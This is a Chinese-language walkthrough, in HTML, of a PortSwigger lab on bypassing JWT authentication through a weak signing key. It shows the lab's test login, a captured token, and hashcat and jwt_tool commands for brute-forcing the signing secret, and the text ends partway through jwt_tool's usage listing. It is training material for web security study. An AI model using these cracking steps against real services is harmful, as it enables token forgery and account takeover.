                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;:&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">identified</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">secret</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">实验步骤:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击上述</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Access the lab"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进入到靶场环境</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:使用以下账户进行登录操作</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">wiener:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">peter</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:捕获到如下有效的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">凭据信息</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">IhZV</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">7</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">RHTpEcQvkcZOA3knCYmQD0YUg</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">NFMj9fWSFjw</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:使用字典进行暴力猜解操作</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方式一:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HashCat<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">项目地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://github.com/hashcat/hashcat<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">项目使用:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">命令格式:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
hashcat </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">a </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">0</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">m </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">16500</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">wordlist</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
#</span><span style="color:black;font-family:宋体;font-size:9.5pt;">执行示例:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
hashcat </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">m </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">16500</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">txt</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">a </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">0</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> secrets</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">txt</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">force</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方式二:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt_tool<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">项目地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://github.com/ticarpi/jwt_tool<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">项目介绍:此项目主要用于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">安全脆弱性评估,目前支持如下几种安全评估测试</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(CVE-2015-2951) The alg=none signature-bypass      vulnerability</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(CVE-2016-10555) The RS/HS256 public key mismatch      vulnerability</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(CVE-2018-0114) Key injection vulnerability</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(CVE-2019-20933/CVE-2020-28637) Blank password      vulnerability</span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(CVE-2020-28042) Null signature vulnerability</span>
        </li>
</ul>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:克隆项目到本地</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">https:</span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">//github.com/ticarpi/jwt_tool</span></i><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:安装依赖库</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pip3 install pycryptodomex</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:运行</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt_tool</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">并查看用法信息</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">python3 jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">h</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">usage:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> jwt_tool</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">py</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">h</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">b</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">t TARGETURL</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rc COOKIES</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rh HEADERS</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pd POSTDATA</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">cv CANARYVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">np</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">nr</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">M MODE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">X EXPLOIT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">ju JWKSURL</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">S SIGN</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pr PRIVKEY</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">T</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">I</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hc HEADERCLAIM</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pc PAYLOADCLAIM</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hv HEADERVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">pv PAYLOADVALUE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">d DICT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">p PASSWORD</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">kf KEYFILE</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">[-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">V</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">]</span></b><span lang="EN-US" 